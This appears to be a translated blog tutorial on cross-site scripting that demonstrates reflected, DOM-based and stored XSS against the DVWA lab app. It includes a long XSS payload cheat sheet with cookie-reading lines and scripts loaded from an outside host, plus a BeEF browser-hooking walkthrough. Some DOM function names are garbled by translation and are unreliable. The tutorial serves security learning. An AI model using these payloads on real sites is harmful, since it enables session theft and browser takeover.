September 27, 2020

What is Cross-Site Scripting (XSS) Vulnerability?

Cross-Site Scripting (XSS) is a weakness that occurs if the developer does not pass the input from the user through the required HTML and JavaScript filters. If the inputs do not go through the required filters, if the user is also an attacker; it can run harmful code that can harm other users or the system directly. Since HTML, CSS and JavaScript are languages interpreted by the browser, the malicious code written can directly affect other users.

XSS is basically examined in 3 different ways, these are

Reflected XSS
DOM-Based XSS
Stored XSS

Reflected XSS

It is found when any input from the user is pressed directly on the screen. Since the code (malicious javascript) received as input from the user is not written to the database, it is presented to the user only by calling it once by an internet browser (when you click on a link address (URL) sent to you via e-mail or chat program).

Let’s make an example in DVWA(Damn Vulnerable Web Application). What is your name? After typing “unknownx” in the section, we click the “Submit” button. Then we get the answer “Hello unknownx”. In the URL part, it says name = unknownx. We will try again by writing a script here.

unknownx
unknownx

 

We write the code “<script> alert (1) </script>” and click the Submit button.

script>alert(1)</script
script>alert(1)

 

We get a warning screen saying “1”. So we see that there is a Reflected XSS vulnerability.

Reflected XSS vulnerability
Reflected XSS vulnerability

 

DOM-Based XSS

Let’s explain what DOM is at first. DOM (Document Object Model) accepts the web page of the Internet browsers as a document and all the elements in this document (page) as objects. Accordingly, all elements such as pictures, texts and forms are objects. Here the DOM allows us to manipulate the properties of any object within the page, and to change the properties of the object. To do this, we need to use some script languages ​​such as JavaScript. All objects in an HTML document that we can access with JavaScript and take any action are DOM.

DOM-Based (Document Object Model) XSS is XSS originating from Doms. It is the XSS vulnerability called DOM XSS when the payload is tried after the # sign in Gemel and the page is refreshed and the alert is received.

DOM scripts that can be used as malicious.

Writing HTML, Example:

document.write (…)
document.writeln (…)
document.body.innerhtml = …

Direct DOM Replacement (Internal DHTML events), Example:

document.forms [0] .action =… (and various collections)
document.attachevent (…)
document.creat to … (…)
document.execcommand (…)
document.body. … (Accessing via DOM main object)
window.attachevent (…)

Document URL Change, Example:

document.location =… (assigning location, space and host)
document.location.hostn up = …
document.location.replace (…)
document.location.assign (…)
document.url = …
window.navigat to (…)

Window Opening Replacement, Example:

The document.open (…)
window.open (…)
window.location.href =… (place, area and host assignment)

Running a Direct Script, Example:

eval (…)
window.execscript (…)
window.setInterval (…)
window.setTimeout (…)

HTTP Request: In web languages, requests sent from the website to the user or sent from the users to the website are called HTTP Request. In the industry, two HTTP Request methods are used at most. These are GET and POST.

GET Method: It is designed to move data from one page to another. It is also used in user interactions. To give an example, site.com/git.php?id=1&katID=2 uses the GET method. If there is a? Sign in the URL section after the git.php address and a criterion after that, the GET method is used on the site. According to this logic,? Id = 1 & katID = 2 moves the data to another field with the GET method.

POST Method: It is used for the same purpose as the GET method. However, the data sent is sent in the background. There is no phrase in the URL section. If we adapt the example in the GET method, only site.com/git.php will appear in the URL field. The id and katID parts are posted in the background.

XSS attacks basically work with 2 methods. The first method is done in the areas on the page that require data entry from the user. For example Search box, comment field etc.
The second method is performed by entering XSS codes in the URL field. JavaScript codes used in basic logic are used. However, it can also be used in various embed codes. <script> alert (“XSS CODE”); </script> XSS attack is performed with JavaScript code.

The most used XSS codes are:

<code>

{‘<script>alert(‘XSS’)</script>
‘><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
javascript;alert(‘XSS’)
<title>XSS</title>
“><script>alert(‘xss’);</script>+
“><script>alert(‘X’);</script>”><script>alert(‘X’);</script> == X
“>’<’script’>alert(’xss’)</’script>
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(XSS)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<s&#99;ript>alert(‘XSS’)</script>
<img src=”/javas&#99;ript:alert(‘XSS’)”>
%0a%0a<script>alert(\”XSS\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
&lt;script&gt;alert(‘XSS’);&lt;/script&gt
<script>alert(‘XSS’)</script>
a.jsp/<script>alert(‘XSS’)</script>
a?<script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document.domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
”;!–“<XSS>=&{()}
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)>
<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>
“<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
<IMG SRC=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER SRC=”http://xss.ha.ckers.org/a.js”></layer>
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
<IMG SRC=’vbscript:msgbox(“XSS”)’>
<IMG SRC=”mocha:[code]”>
<IMG SRC=”livescript:[code]”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME SRC=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘/xss’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
<BASE HREF=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><”
<SCRIPT SRC=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT>
<IMG SRC=”javascript:alert(‘XSS’)”}

</code>

Stored XSS

Stored XSS is the most dangerous type of XSS. Because the input from the user is recorded anywhere instead of printing data on the screen, for example in the database. If Stored XSS is detected, there is no need to send the url to the victim, as in other XSS types, where the malicious code was entered. Since the malicious code is already registered in the database, the victim runs in the background without even noticing it.

Stored XSS with BeEF

First of all, what is BeEF briefly, BeEF (Browser Exploitation Framework) is the penetration testing tool used to perform client-side attacks on web browsers on computers and mobile devices. We open BeEF in Kali and then copy the code in the example section.

If the Beef application is not in quality, you can install it with the command below.

sudo apt-get install beef-xss
sudo apt-get install beef-xss

 

Since the Beef tool comes ready on Kali Linux, we can run it directly.

Beef tool on kali
Beef tool on kali

 

We open BeEF and then copy the code in the example section.

 

beef-xss
beef-xss

 

We come to the XSS Stored section and write an example name in the name section. Then we paste our code into space in the message section.

XSS Stored
XSS Stored

 

There is a problem with the number of characters entering us. To overcome this problem, we will right-click on our mouse, click Inspect Element (Q) and increase the number of input characters from there.

Inspect Element (Q)
Inspect Element (Q)

 

In the section where we need to do “maxlength = ’50’ here, we make 50 of 250 and now we try to paste the code again.

"maxlength = '50'"
“maxlength = ’50′”

 

Before opening BeEF’s user interface, we look at the BeEF configuration file by entering the command “nano /etc/beef-xss/config.yaml” from the Kali terminal to change or set the password of the beef-xss tool.

nano /etc/beef-xss/config.yaml
nano /etc/beef-xss/config.yaml

 

We can see the User and Password here.

Beef config.yaml
Beef config.yaml

 

Here we open the user interface of BeEF and login with “beef: beef”.

beef username and password
beef username and password

 

When I come back to the DVWA tab, click on the Stored XSS section and return to the BeEF interface. we get an image like in the picture. We saw that we have a connection, so we kind of hack ourselves.

To the BeEF interface
To the BeEF interface

Leave a Reply

Your email address will not be published. Required fields are marked *